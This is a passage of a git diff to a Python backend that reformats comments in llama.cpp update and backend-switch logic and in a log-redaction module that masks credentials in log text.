a base-build guard, so a- # lagging /releases/latest or a mix-tagged latest can't show a false update- # (see llama_cpp_freshness.is_behind).+ # `behind` compares the full release identity with a base-build guard, so a lagging /releases/latest or a mix-tagged latest cannot show a false update (llama_cpp_freshness.is_behind).update_available = bool(freshness.get("has_marker") and freshness.get("behind"))- # Size of the prebuilt that Update would download, for the banner. Only when- # an update is offered; fails open to None (offline / no matching asset).+ # Size of the prebuilt Update would download, for the banner. Only when an update is offered; fails open to None.update_size_bytes = Noneif update_available:try:@@ -509,8 +413,7 @@ def _llama_only_status(except Exception as exc: # pragma: no cover - network defensivelogger.debug("llama update: size lookup failed", error = str(exc))- # An automatic install whose detection now resolves elsewhere; nothing else surfaces- # it. Skipped while a job runs, and when an update is offered: that update re-detects.+ # An automatic install whose detection now resolves elsewhere; nothing else surfaces it. Skipped while a job runs, and when an update is offered: that update re-detects.to_backend = (Noneif job_running or update_available@@ -538,7 +441,6 @@ def _llama_only_status(}-# Cache resolver results between polls and clear them after an install._backends_memo: dict = {}@@ -549,12 +451,7 @@ def _resolve_backends_for_host(published_repo: Optional[str] = None,rocm_gfx: Optional[str] = None,) -> Optional[dict]:- """Ask the installer which backends it could install here. None on any failure.-- ``rocm_gfx`` replays the marker's arch, as _run_llama_phase does for the install: this- subprocess re-probes from scratch, so a host whose arch only Windows setup could infer- resolves "auto" to CPU. The REMEMBERED spelling, so a live probe still wins.- """+ """Ask the installer which backends it could install here. None on any failure. ``rocm_gfx`` replays the marker's arch as _run_llama_phase does: this subprocess re-probes from scratch, so a host whose arch only Windows setup could infer resolves "auto" to CPU. The REMEMBERED spelling, so a live probe still wins."""args: list[str] = []if install_dir is not None:args.extend(("--install-dir", str(install_dir)))@@ -595,8 +492,7 @@ def _env_backend_override() -> Optional[str]:def _backend_options(resolved: Optional[dict], assets: Optional[dict] = None) -> list[dict]:- """Normalize a resolver payload into the options the picker and the switch- planner both read, so both judge a request against the same list."""+ """Normalize a resolver payload into the options the picker and the switch planner both read, so both judge a request against the same list."""options = []for entry in (resolved or {}).get("backends") or []:backend = normalize_backend(entry.get("backend"))@@ -608,7 +504,6 @@ def _backend_options(resolved: Optional[dict], assets: Optional[dict] = None) ->"backend": backend,"available": bool(entry.get("available")),"unavailable_reason": entry.get("reason"),- # What "auto" would pick right now, so it can be labelled with it."resolved_backend": normalize_backend(entry.get("resolved_backend")),"release_tag": entry.get("release_tag"),"download_size_bytes": (assets or {}).get(asset) if asset else None,@@ -620,14 +515,7 @@ def _backend_options(resolved: Optional[dict], assets: Optional[dict] = None) ->def _selection_applied(backend_request: str, installed_backend: Optional[str], options: list[dict]) -> bool:- """Whether the recorded choice still describes the installed backend.-- A concrete choice is applied by definition: the installer records it only on- an install that honoured it, so it can never disagree with what is on disk.- ``auto`` is the one that drifts -- a GPU or driver that appears after an- automatic CPU install makes detection resolve somewhere else -- and applying- it again is offered exactly then.- """+ """Whether the recorded choice still describes the installed backend. A concrete choice is applied by definition: the installer records it only on an install that honoured it. ``auto`` is the one that drifts (a GPU or driver appearing after an automatic CPU install makes detection resolve elsewhere) and re-applying it is offered exactly then."""if backend_request != "auto":return Trueauto = next((option for option in options if option["backend"] == "auto"), None)@@ -638,12 +526,7 @@ def _selection_applied(def _remembered_rocm_gfx(marker: Optional[dict]) -> Optional[str]:- """The arch to replay when re-resolving, falling back to the installed asset's name.-- The marker carries rocm_gfx only when the install resolved one, and a host whose probe- never named an arch is the one that needs the replay. The bundle it runs names the- family, which is the record setup.sh reads too.- """+ """The arch to replay when re-resolving, falling back to the installed asset's name. The marker carries rocm_gfx only when the install resolved one, and a host whose probe never named an arch is the one that needs the replay. The bundle it runs names the family, the record setup.sh reads too."""recorded = (marker or {}).get("rocm_gfx")if recorded:return recorded@@ -657,21 +540,12 @@ def _pending_backend_migration(*,force_refresh: bool = False,) -> Optional[str]:- """The backend a re-applied AUTOMATIC selection would install, when it differs.-- The one drift an install can develop untouched: "auto" recorded what detection chose- then, and a default can move later (AMD integrated GPUs now route to Vulkan). NOT- computed for a concrete recorded choice, which is a decision by hand this must never- offer to undo -- which also makes the offer self-limiting, since picking a backend in- Settings ends the drift. None on anything unresolved. Shares _backends_memo with- get_backend_status, so this costs a subprocess a day.- """+ """The backend a re-applied AUTOMATIC selection would install, when it differs: the one drift an install can develop untouched, since "auto" recorded what detection chose then and a default can move later (AMD integrated GPUs now route to Vulkan). Not computed for a concrete recorded choice, a decision by hand this must never offer to undo, which also makes the offer self-limiting since picking a backend in Settings ends the drift. None on anything unresolved. Shares _backends_memo with get_backend_status, so this costs a subprocess a day."""if marker is None or _switch_support(binary, marker) is not None:return None_override = _env_backend_override()if _override is not None and _override != "auto":- # The environment owns the backend, so an offer could not be applied. "auto" is- # the exception: it asks for the detection the migration re-applies.+ # The environment owns the backend, so an offer could not be applied. "auto" is the exception: it asks for the detection the migration re-applies.return Noneif marker_backend_request(marker) != "auto":return None@@ -690,8 +564,7 @@ def _pending_backend_migration(auto = next((option for option in options if option["backend"] == "auto"), None)target = (auto or {}).get("resolved_backend")if target == "cpu" and marker_backend(marker) not in (None, "cpu"):- # An empty probe and a host that really lost its GPU look identical from here, and- # moving a working GPU install onto CPU is the costly side of that. Settings can.+ # An empty probe and a host that really lost its GPU look identical from here, and moving a working GPU install onto CPU is the costly side of that. Settings can.return Nonereturn target@@ -709,8 +582,7 @@ def get_backend_status(*, force_refresh: bool = False) -> dict:"env_backend": _env_backend_override(),"backend": marker_backend(marker),"backend_request": marker_backend_request(marker),- # Only the resolver can tell that an automatic choice has drifted, so an- # unresolved status must not invite an apply.+ # Only the resolver can tell that an automatic choice has drifted, so an unresolved status must not invite an apply."selection_applied": True,"installed_tag": (marker or {}).get("release_tag") or (marker or {}).get("tag"),"options": [],@@ -718,7 +590,6 @@ def get_backend_status(*, force_refresh: bool = False) -> dict:}if unsupported is not None:return status- # Do not resolve options while the shared job is replacing the install.if job["state"] == _JOB_RUNNING:return statusrepo = (marker or {}).get("published_repo") or DEFAULT_PUBLISHED_REPO@@ -726,13 +597,10 @@ def get_backend_status(*, force_refresh: bool = False) -> dict:_install_dir_for(binary),force_refresh = force_refresh,published_repo = repo,- # The same recovery the update-status path uses, or the picker describes a- # different host: no arch here reads an AMD box with no probes as CPU-only,- # so Settings offers an Automatic that installs something else.+ # The same recovery the update-status path uses, or the picker describes a different host: no arch here reads an AMD box with no probes as CPU-only, so Settings offers an Automatic that installs something else.rocm_gfx = _remembered_rocm_gfx(marker),)if not resolved:- # Keep showing the installed backend without guessing alternatives.status["reason"] = "unresolved"status["supported"] = Falsereturn status@@ -761,22 +629,14 @@ def _run_llama_phase(backend_request: Optional[str] = None,migration_target: Optional[str] = None,) -> dict:- """The llama phase of a chained update: put the backend into a maintenance- state, run the installer for the latest prebuilt, then refresh caches so the- next load uses the new build. Returns {to_tag, reload_required, message};- raises on failure.-- pin_release_tag pins the installer to that exact published release instead- of letting it re-resolve "latest" itself (see start_update for why)."""+ """The llama phase of a chained update: put the backend into a maintenance state, run the installer for the latest prebuilt, then refresh caches so the next load uses the new build. Returns {to_tag, reload_required, message}; raises on failure. pin_release_tag pins the installer to that exact published release instead of letting it re-resolve "latest" (see start_update)."""backend = Nonemodel_was_active = Falsemtmd_guard = ExitStack()- # The installer exits 0 for a transient failure it answered by keeping the tree, so- # success no longer implies a new release. Read as the post-install check reads it.+ # The installer exits 0 for a transient failure it answered by keeping the tree, so success no longer implies a new release. Read as the post-install check reads it.prior_marker = read_install_marker(_find_binary())prior_tag = (prior_marker or {}).get("release_tag") or (prior_marker or {}).get("tag")try:- # Block loads and free the binary while the installer swaps it.try:from routes.inference import get_llama_cpp_backendbackend = get_llama_cpp_backend()@@ -790,16 +650,13 @@ def _run_llama_phase(try:with backend._serial_load_lock:backend._llama_update_in_progress = True- # Active processes can lock the exe on Windows.if getattr(backend, "is_active", False):model_was_active = Truebackend.unload_model()except Exception as exc:logger.debug("llama update: load coordination failed", error = str(exc))- # The mtmd dictation sidecar serves Qwen3-ASR from this same llama-server- # out of this same tree, so a live one locks the exe on Windows and a- # concurrent load would start against a half-swapped install.+ # The mtmd dictation sidecar serves Qwen3-ASR from this same llama-server out of this same tree, so a live one locks the exe on Windows and a concurrent load would start against a half-swapped install.model_was_active = _block_mtmd_sidecar(mtmd_guard) or model_was_activecmd = [@@ -815,19 +672,14 @@ def _run_llama_phase(if pin_release_tag:cmd.extend(["--published-release-tag", pin_release_tag])cmd.extend(_rocm_install_args(asset))- # Switches name a backend. Updates preserve the marker's recorded choice.if backend_request is not None:cmd.extend(["--llama-backend", backend_request])logger.info("llama update: installing", cmd = " ".join(cmd))env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5")if backend_request is not None:- # Ensure an inherited override cannot defeat the requested switch.env.pop("UNSLOTH_FORCE_VULKAN", None)env["UNSLOTH_LLAMA_CPP_BACKEND"] = backend_request- # A Vulkan asset name carries no arch, so the marker is the only record of the- # gfx an automatic AMD route used. Automatic only: elsewhere the asset has the- # arch, and replaying it would assert ROCm on a host whose AMD GPU is gone.- # Advisory even then, applied only if this host's own probe finds none.+ # A Vulkan asset name carries no arch, so the marker is the only record of the gfx an automatic AMD route used. Automatic only: elsewhere the asset has the arch and replaying it would assert ROCm on a host whose AMD GPU is gone. Advisory even then, applied only if this host's own probe finds none.if rocm_gfx and llama_backend == "auto":env["UNSLOTH_ROCM_GFX_REMEMBERED"] = rocm_gfx_flow.stream_installer(@@ -837,10 +689,8 @@ def _run_llama_phase(timeout_seconds = _INSTALL_TIMEOUT_SECONDS,)- # Drop stale caches so the banner re-checks the swapped marker.- # If GitHub is offline, latest stays unknown and the banner fails open.+ # Drop stale caches so the banner re-checks the swapped marker. If GitHub is offline, latest stays unknown and the banner fails open.reset_caches(drop_disk = True)- # The cached options describe the previous install._backends_memo.clear()try:latest_published_release(repo, force_refresh = True)@@ -879,8 +729,7 @@ def _run_llama_phase()kept_existing = backend_request is None and new_tag is not None and new_tag == prior_tag- # A migration asks for "auto", so it can land back where it started (the ROCm- # fallback behind the preference), which would read as applied and be re-offered.+ # A migration asks for "auto", so it can land back where it started (the ROCm fallback behind the preference), which would read as applied and be re-offered.migration_kept = bool(migration_target) and new_backend != migration_targetlogger.info("llama update: success",@@ -898,8 +747,7 @@ def _run_llama_phase(elif backend_request is not None:message = f"llama.cpp is now running on {new_backend or backend_request}.{reload_hint}"elif kept_existing:- # The phase only runs when a newer release was offered, so naming the kept- # release as current would send the user looking for a fix it does not have.+ # The phase only runs when a newer release was offered, so naming the kept release as current would send the user looking for a fix it does not have.message = (f"llama.cpp could not be updated right now, so the existing {new_tag} ""install was kept. Try again later."@@ -915,7 +763,6 @@ def _run_llama_phase("message": message,}except _flow.InstallerExit as exc:- # Raw "installer exited 4: <log tail>" says nothing actionable in the UI.if exc.returncode == _EXIT_NO_SPACE:logger.warning("llama update: out of disk space")raise _LlamaPhaseError(@@ -924,7 +771,6 @@ def _run_llama_phase(reload_required = model_was_active,) from excif exc.returncode == _EXIT_BACKEND_UNAVAILABLE:- # This can race hardware or release changes after option resolution.failed_backend = backend_request or _env_backend_override()# "requested" reads as the user's choice; an automatic update has none.backend_label = (@@ -945,9 +791,7 @@ def _run_llama_phase() from excif exc.returncode == _EXIT_FALLBACK:message = str(exc)- # Same predicate the formatter uses: exit 2 also carries failures- # like a rate-limited huggingface.co validation-model fetch, which- # GH_TOKEN cannot fix.+ # Same predicate the formatter uses: exit 2 also carries failures like a rate-limited huggingface.co validation-model fetch, which GH_TOKEN cannot fix.if _flow.is_github_rate_limit_text(message):token_present = _flow.github_token_present(env)logger.warning("llama update: GitHub rate limit", authenticated = token_present)@@ -977,7 +821,6 @@ def _run_llama_phase(raise _LlamaPhaseError(str(exc), reload_required = True) from excraisefinally:- # Always clear maintenance state.mtmd_guard.close()if backend is not None:try:@@ -987,12 +830,7 @@ def _run_llama_phase(def _block_mtmd_sidecar(stack: ExitStack) -> bool:- """Hold the mtmd sidecar's maintenance guard for the install, if it exists.-- Unlike whisper.cpp this is not fail-closed: llama.cpp updates predate this- sidecar and must keep working where dictation cannot even be imported.- Returns whether a warm dictation server had to be unloaded.- """+ """Hold the mtmd sidecar's maintenance guard for the install, if it exists. Unlike whisper.cpp this is not fail-closed: llama.cpp updates predate this sidecar and must keep working where dictation cannot even be imported. Returns whether a warm dictation server had to be unloaded."""try:from core.inference.stt_mtmd_sidecar import get_mtmd_stt_sidecarreturn stack.enter_context(get_mtmd_stt_sidecar().update_maintenance())@@ -1001,8 +839,7 @@ def _block_mtmd_sidecar(stack: ExitStack) -> bool:return False-# Combined-job progress split when both phases run (download sizes: the llama-# bundle dwarfs the whisper one); normalized to 0..1 when a phase is skipped.+# Combined-job progress split when both phases run (the llama bundle dwarfs the whisper one); normalized to 0..1 when a phase is skipped._LLAMA_PHASE_WEIGHT = 0.7_WHISPER_PHASE_WEIGHT = 0.3@@ -1023,9 +860,7 @@ def _plan_llama_phase(backend_request: Optional[str] = None) -> dict:),},}- # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt- # here would write through the link into the user's own checkout (or fail)- # and silently drop the link the flag created.+ # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt here would write through the link into the user's own checkout (or fail) and silently drop the link.if _active_install_is_local_link(binary):return {"skip_reason": "local_link",@@ -1051,10 +886,7 @@ def _plan_llama_phase(backend_request: Optional[str] = None) -> dict:}if marker:- # Mirror the detection guard: a direct POST or a stale banner must not- # start an install when the latest is not actually newer (force a fresh- # check so a stale 24h cache can't wrongly block a real update either).- # A switch replaces the backend at the same release.+ # Mirror the detection guard: a direct POST or a stale banner must not start an install when the latest is not actually newer (force a fresh check so a stale 24h cache cannot wrongly block a real update either). A switch replaces the backend at the same release.migration = Falsemigration_target = Nonestatus = (@@ -1066,8 +898,7 @@ def _plan_llama_phase(backend_request: Optional[str] = None) -> dict:))if backend_request is None and not status.get("update_available"):- # Nothing newer to install, but "auto" can resolve elsewhere now. Re-asking for- # "auto" keeps it automatic, so rocm_gfx and the crash recovery survive.+ # Nothing newer to install, but "auto" can resolve elsewhere now. Re-asking for "auto" keeps it automatic, so rocm_gfx and the crash recovery survive.migration_target = _pending_backend_migration(binary, marker)if migration_target is None:return {@@ -1086,28 +917,16 @@ def _plan_llama_phase(backend_request: Optional[str] = None) -> dict:repo = marker.get("published_repo") or DEFAULT_PUBLISHED_REPOfrom_tag = marker.get("tag") or marker.get("release_tag")asset = marker.get("asset")- # Updates let the installer preserve the marker's recorded choice.llama_backend = marker.get("llama_backend")- # Recovered, not read: the status path offers the migration through- # _remembered_rocm_gfx, so an apply reading the bare field would re-resolve- # without the arch on exactly the host the recovery exists for, and refuse- # the offer it just made as already_selected.+ # Recovered, not read: the status path offers the migration through _remembered_rocm_gfx, so an apply reading the bare field would re-resolve without the arch on exactly the host the recovery exists for, and refuse the offer it just made as already_selected.rocm_gfx = _remembered_rocm_gfx(marker)- # Install exactly the release the banner offered: the installer's own- # "latest" is commit-date ordered and can lag the published_at pick- # above, reinstalling the current build in a loop (the #6219 class).- # Not on macOS, which needs the older-release walk-back a pin disables- # (skipping too-new prebuilts); elsewhere an unusable latest now fails- # the job loudly (retryable) instead of walking back.- #- # Switch only the backend. Slim whisper bundles require this exact release.+ # Install exactly the release the banner offered: the installer's own "latest" is commit-date ordered and can lag the published_at pick above, reinstalling the current build in a loop (the #6219 class). Not on macOS, which needs the older-release walk-back a pin disables; elsewhere an unusable latest fails the job loudly (retryable) instead of walking back. Switch only the backend: slim whisper bundles require this exact release.installed_release_tag = marker.get("release_tag") or marker.get("tag")wanted_tag = (installed_release_tag if backend_request is not None else status.get("latest_tag"))pin_release_tag = None if sys.platform == "darwin" else wanted_tagelif backend_request is not None:- # Never replace a user-managed tree with a prebuilt implicitly.return {"skip_reason": "not_prebuilt","refusal": {@@ -1120,9 +939,7 @@ def _plan_llama_phase(backend_request: Optional[str] = None) -> dict:},}else:- # Source build / custom path: only proceed when the same detection logic- # would offer the update (prebuilt exists, install is behind, root is- # manageable), so a direct POST cannot downgrade a newer source build.+ # Source build / custom path: only proceed when the same detection logic would offer the update (prebuilt exists, install is behind, root is manageable), so a direct POST cannot downgrade a newer source build.src = _source_build_status(binary, force_refresh = True) if binary else Noneif src is None:return {@@ -1153,11 +970,9 @@ def _plan_llama_phase(backend_request: Optional[str] = None) -> dict:repo = (res or {}).get("repo") or DEFAULT_PUBLISHED_REPOfrom_tag = Noneasset = (res or {}).get("asset")- # A source build records no choice, so there is nothing to preserve here.llama_backend = Nonerocm_gfx = None- # No pin: source-build detection resolves via --resolve-prebuilt latest,- # the same resolver the unpinned apply uses, so the two already agree.+ # No pin: source-build detection resolves via --resolve-prebuilt latest, the same resolver the unpinned apply uses, so the two already agree.pin_release_tag = Nonemigration = Falsemigration_target = None@@ -1182,32 +997,20 @@ def _plan_llama_phase(backend_request: Optional[str] = None) -> dict:"llama_backend": llama_backend,"rocm_gfx": rocm_gfx,"backend_request": backend_request,- # So the caller keeps presenting this as the update it is, not the switch its- # backend_request would make it look like.+ # So the caller keeps presenting this as the update it is, not the switch its backend_request would make it look like."migration": migration,- # The backend the offer named, so the phase can say whether it landed."migration_target": migration_target,}}def start_update() -> dict:- """Kick off a background update job. The job chains the llama phase (the- existing flow) with a whisper phase that runs only when whisper is actually- behind; either phase no-ops cleanly when its component is current or- unmanaged. Idempotent: a second call while one is running returns the- in-flight job rather than starting another."""+ """Kick off a background update job chaining the llama phase with a whisper phase that runs only when whisper is behind; either phase no-ops cleanly when its component is current or unmanaged. Idempotent: a second call while one is running returns the in-flight job."""return _start_llama_job()def start_backend_switch(backend: str) -> dict:- """Install the llama.cpp bundle for ``backend`` and record it as the choice.-- Deliberately the same job, lock and phase machinery as an update: both replace- the same tree while the same server is unloaded, so sharing them is what makes a- switch and an update mutually exclusive instead of two writers racing over one- install. Callers poll get_update_status() exactly as they do for an update.- """+ """Install the llama.cpp bundle for ``backend`` and record it as the choice. Deliberately the same job, lock and phase machinery as an update: both replace the same tree while the same server is unloaded, which is what makes a switch and an update mutually exclusive instead of two writers racing over one install. Callers poll get_update_status() exactly as for an update."""normalized = normalize_backend(backend)if normalized is None or normalized not in REQUESTABLE_BACKENDS:with _job_lock:@@ -1236,13 +1039,7 @@ def start_backend_switch(backend: str) -> dict:def _update_can_move_the_backend(llama_will_run: bool) -> bool:- """Whether an update that names no backend could still land on a different one.-- Detection re-runs, so a default can move under it; only an automatic install is- exposed. Read from the marker rather than resolved, since resolving costs a subprocess- at planning time, and over-answering is cheap: the repair phase does nothing when the- backend did not move.- """+ """Whether an update that names no backend could still land on a different one. Detection re-runs, so a default can move under it; only an automatic install is exposed. Read from the marker rather than resolved, since resolving costs a subprocess at planning time and over-answering is cheap: the repair phase does nothing when the backend did not move."""if not llama_will_run:return Falsereturn marker_backend_request(read_install_marker(_find_binary())) == "auto"@@ -1270,23 +1067,8 @@ def _whisper_phase_plan(llama_skip_reason: Optional[str] = None,migration: bool = False,) -> dict:- """Whisper's half of the chained job: catch up on releases for an update, or- re-pair with the new backend for a switch.-- A switch that installs nothing leaves llama's ggml where it was, so there is- nothing to re-pair either: a refused switch stays refused instead of turning into- a whisper-only job.-- The exception is the state a failed re-pair leaves behind. The llama phase runs- first and records the new backend, so a retryable whisper failure (a download that- dropped, an install that was busy) ends with llama on the requested backend and- dictation still hardlinked to the old runtime. Retrying that selection is then- ``already_selected``, and refusing it strands the user: the only escape is to switch- away and back. So allow a repair-only job for that one refusal, and only while the- pairing is genuinely stale, which keeps an ordinary already-selected request a- refusal rather than a no-op job reporting success."""- # A migration is switch-shaped but update-behaved, so whisper needs the chained plan:- # the repair-only branch has no phase for a self-contained install and drops updates.+ """Whisper's half of the chained job: catch up on releases for an update, or re-pair with the new backend for a switch. A switch that installs nothing leaves llama's ggml where it was, so there is nothing to re-pair and a refused switch stays refused instead of becoming a whisper-only job. The exception is what a failed re-pair leaves behind: llama runs first and records the new backend, so a retryable whisper failure ends with llama on the requested backend and dictation still hardlinked to the old runtime, making a retry ``already_selected`` and stranding the user unless they switch away and back. So allow a repair-only job for that one refusal, and only while the pairing is genuinely stale."""+ # A migration is switch-shaped but update-behaved, so whisper needs the chained plan: the repair-only branch has no phase for a self-contained install and drops updates.if backend_request is None or migration:chained = (_whisper_chain_status(force_refresh = True, paired_llama_will_update = llama_will_run) or {}@@ -1296,8 +1078,7 @@ def _whisper_phase_plan(if backend_request is None:if not _update_can_move_the_backend(llama_will_run):return chained- # Whisper has nothing to catch up on, so the chained answer stands unless a- # re-pair is owed.+ # Whisper has nothing to catch up on, so the chained answer stands unless a re-pair is owed.repair = _repair_pairing_plan_or_empty(llama_will_run, llama_skip_reason)return repair if repair.get("phase") is not None else chainedreturn _repair_pairing_plan_or_empty(llama_will_run, llama_skip_reason)@@ -1373,14 +1154,11 @@ def _start_llama_job(backend_request: Optional[str] = None) -> dict:handed_to_worker = Falsemigration = Falsetry:- # The operation reservation starts before any marker read or resolver- # call. A second update/switch cannot change the install between this- # plan and the worker that applies it.+ # The operation reservation starts before any marker read or resolver call, so a second update/switch cannot change the install between this plan and the worker that applies it.llama_plan = _plan_llama_phase(backend_request)llama_spec = llama_plan.get("spec")if llama_spec is not None and llama_spec.get("migration"):- # The planner turned an up-to-date update into a re-application of "auto";- # adopt its request, and keep the claimed operation the offered "update".+ # The planner turned an up-to-date update into a re-application of "auto"; adopt its request, and keep the claimed operation the offered "update".migration = Truebackend_request = llama_spec["backend_request"]with _job_lock:@@ -1390,8 +1168,7 @@ def _start_llama_job(backend_request: Optional[str] = None) -> dict:llama_spec["install_dir"],force_refresh = True,published_repo = llama_spec["repo"],- # Same replay the status path uses: without it this re-probe resolves- # "auto" to CPU and the offered migration refuses as already_selected.+ # Same replay the status path uses: without it this re-probe resolves "auto" to CPU and the offered migration refuses as already_selected.rocm_gfx = llama_spec.get("rocm_gfx"),)if not resolved:@@ -1432,8 +1209,7 @@ def _start_llama_job(backend_request: Optional[str] = None) -> dict:)whisper_spec = (whisper_plan or {}).get("phase")if llama_spec is None and whisper_spec is None:- # Nothing to run: answer with the llama refusal so the existing reasons- # (local_link / up_to_date / already_selected / ...) keep their meaning.+ # Nothing to run: answer with the llama refusal so the existing reasons (local_link / up_to_date / already_selected / ...) keep their meaning.refusal = llama_plan["refusal"]return _finish_planning_refusal(refusal["reason"], refusal["message"])@@ -1443,7 +1219,6 @@ def _start_llama_job(backend_request: Optional[str] = None) -> dict:whisper_run = ((lambda set_progress: _whisper.run_repair_phase(whisper_spec, set_progress))if whisper_spec.get("repair")- # The plan left pairing unchecked because llama runs first.else (lambda set_progress: _whisper.run_chained_phase_after_llama(whisper_spec, set_progress@@ -1490,8 +1265,7 @@ def _start_llama_job(backend_request: Optional[str] = None) -> dict:if backend_request is not Noneelse "whisper.cpp update failed."),- # The sidecar reload is whisper-internal; it must not trip the- # job-level reload flag the chat frontend resyncs on.+ # The sidecar reload is whisper-internal; it must not trip the job-level reload flag the chat frontend resyncs on."affects_job_reload": False,"skip_reason": (whisper_plan or {}).get("skip_reason") or "unavailable","run": whisper_run,diff --git a/studio/backend/utils/log_redaction.py b/studio/backend/utils/log_redaction.pyindex 4f0948d5436..21af24eca3d 100644--- a/studio/backend/utils/log_redaction.py+++ b/studio/backend/utils/log_redaction.py@@ -3,15 +3,9 @@"""Mask credentials in log text before it leaves the process.-Nothing redacts secrets today: loggers/handlers.py:filter_sensitive_data only-masks native path leases, and raw output (faulthandler dumps, uvicorn, third-party prints) never passes through a structlog processor at all. The log viewer-invites users to copy lines into a bug report, so the masking happens on read.--Every pattern is anchored on a known credential prefix or a key name. There is-deliberately NO generic "long high entropy string" rule: that would eat sha256-blob digests, HF revisions, snapshot paths and GGUF tensor names, which is-exactly the content someone opened the log to read.+Nothing redacts secrets today: loggers/handlers.py:filter_sensitive_data only masks native path leases, and raw output (faulthandler dumps, uvicorn, third party prints) never passes through a structlog processor at all. The log viewer invites users to copy lines into a bug report, so the masking happens on read.++Every pattern is anchored on a known credential prefix or a key name. There is deliberately NO generic "long high entropy string" rule: that would eat sha256 blob digests, HF revisions, snapshot paths and GGUF tensor names, exactly the content someone opened the log to read."""from __future__ import annotations@@ -20,10 +14,7 @@ import reREDACTED = "<redacted>"-# Terminal control sequences, stripped BEFORE anything is matched.-# Order matters: OSC (\x1b]) comes before the single-character Fe class, which covers 0x5C-0x5F and would otherwise-# swallow the "]". ECMA-48 5.4 (CSI) and 5.6 (OSC / DCS / SOS / PM / APC). A colorized writer puts an escape between key-# and value, and the "m" ending "\x1b[36m" is a word character, so every anchored rule below stops matching.+# Terminal control sequences, stripped BEFORE anything is matched. Order matters: OSC comes before the single-character Fe class, which covers 0x5C-0x5F and would otherwise swallow the "]". ECMA-48 5.4 (CSI) and 5.6 (OSC / DCS / SOS / PM / APC). A colorized writer puts an escape between key and value, and the "m" ending a colour code is a word character, so every anchored rule below stops matching._ANSI_RE = re.compile(r"\x1b\][\s\S]*?(?:\x07|\x1b\\|\x9c)"r"|\x1b[P^_X][\s\S]*?(?:\x1b\\|\x9c)"@@ -34,29 +25,23 @@ _ANSI_RE = re.compile()_ANSI_INTRODUCER_RE = re.compile(r"[\x1b\x90\x98\x9b\x9d-\x9f]")-# Key names whose VALUE is a secret.-# "token" alone is absent on purpose, so n_tokens = 4096 and token_id=128009 survive.+# Key names whose VALUE is a secret. "token" alone is absent on purpose, so n_tokens = 4096 and token_id=128009 survive._SECRET_KEYS = ("authorization|x-api-key|api[-_]?key|apikey|hf[-_]?token|access[-_]?token|""refresh[-_]?token|auth[-_]?token|bearer[-_]?token|client[-_]?secret|""aws_secret_access_key|aws_session_token|wandb[-_]?token|hub[-_]?token|"- # Unsloth's own S3 field and its camelCase alias: neither is reachable through the bare "secret" alternative, and an- # AWS secret key has no prefix of its own for a shape rule to catch.- # The field is models/training.py:60.+ # Unsloth's own S3 field (models/training.py:60) and its camelCase alias: neither is reachable through the bare "secret" alternative, and an AWS secret key has no prefix of its own for a shape rule to catch."secret[-_]?access[-_]?key|""password|passwd|secret")-# No leading \b: "_" is a word character.-# \b never fires inside OPENAI_API_KEY / db_password, the shape an env dump or argv line carries; the trailing \b stays,-# so eos_token_id and secret_sauce_path are left alone.+# No leading word boundary, since "_" is a word character and one never fires inside OPENAI_API_KEY / db_password, the shape an env dump or argv line carries; the trailing boundary stays, so eos_token_id and secret_sauce_path are left alone._KEY_START = r"(?<![A-Za-z0-9])"_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = (# Hugging Face(re.compile(r"\bhf_[A-Za-z0-9]{20,}"), "hf_" + REDACTED),- # OpenAI and other sk- keys (project, Anthropic, OpenRouter). Not \b: that- # also fires after a hyphen, eating checkpoint-sk-9f8a... in a filename.+ # OpenAI and other sk- keys (project, Anthropic, OpenRouter). Not a word boundary: that also fires after a hyphen, eating checkpoint-sk-9f8a... in a filename.(re.compile(r"(?<![A-Za-z0-9-])sk-(?:proj-|ant-api\d{2}-|or-v1-)?[A-Za-z0-9_-]{16,}"),"sk-" + REDACTED,@@ -75,9 +60,7 @@ _PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = ((re.compile(r"\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{5,}"), REDACTED),# user:password@host in a URL(re.compile(r"://[^/\s:@]+:[^/\s@]+@"), "://" + REDACTED + "@"),- # Presigned URL parameters. Bare "key" is deliberately absent: in an object- # storage URL it names the object, and blanking it hides WHICH download- # failed. Google's ?key=AIza... is caught by the AIza rule above.+ # Presigned URL parameters. Bare "key" is deliberately absent: in an object storage URL it names the object, and blanking it hides WHICH download failed. Google's ?key=AIza... is caught by the AIza rule above.(re.compile(r"(?i)([?&](?:token|api[-_]key|apikey|sig|signature|x-amz-signature|"@@ -87,10 +70,7 @@ _PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = (),)-# The QUOTED branch wins whenever an opening quote is there: stopping at whitespace turned password="correct horse-# battery staple" into a mask that leaked all but the first word.-# The value pattern is "[^\"'\\\n]|\\." rather than a lazy ".*?", so an escaped quote does not end the value early, and-# \n is excluded so an unterminated quote cannot run the mask past its own line.+# The QUOTED branch wins whenever an opening quote is there: stopping at whitespace turned password="correct horse battery staple" into a mask that leaked all but the first word. The value pattern matches a non-quote character or an escape rather than a lazy ".*?", so an escaped quote does not end the value early, and a newline is excluded so an unterminated quote cannot run the mask past its own line._QUOTED_VALUE = r"(?:[^\"'\\\n]|\\.){6,}"_KV_RE = re.compile(r"(?i)" + _KEY_START + r"(?P<key>" + _SECRET_KEYS + r")\b"@@ -103,20 +83,15 @@ _FLAG_RE = re.compile(r"(?P<val>(?(q)" + _QUOTED_VALUE + r"|[^\s\"']{6,}))")-# An Authorization value whatever the scheme: the key/value rule captures only "Basic" and leaves the credential behind-# it. Same for a Cookie, which for Unsloth is the UI session.+# An Authorization value whatever the scheme: the key/value rule captures only "Basic" and leaves the credential behind it. Same for a Cookie, which for Unsloth is the UI session._SCHEMES = ("bearer", "basic", "digest", "token", "apikey")-# A scheme word only introduces a credential when an Authorization header put it there, and the credential stops at a-# quote or structural delimiter: \S+ swallowed the rest of the dict.-# Bare "digest sha256:..." and "token hf_..." are ordinary log content, and firing on the word alone blanked the digest-# a user came here to read.+# A scheme word only introduces a credential when an Authorization header put it there, and the credential stops at a quote or structural delimiter, since \S+ swallowed the rest of the dict. Bare "digest sha256:..." and "token hf_..." are ordinary log content, and firing on the word alone blanked the digest a user came here to read._CREDENTIAL = r"[^\s\"',}\]]+"_AUTH_HEADER_RE = re.compile(r"(?i)((?:proxy-)?authorization[\"']?\s*[:=]\s*[\"']?"r"(?:" + "|".join(_SCHEMES) + 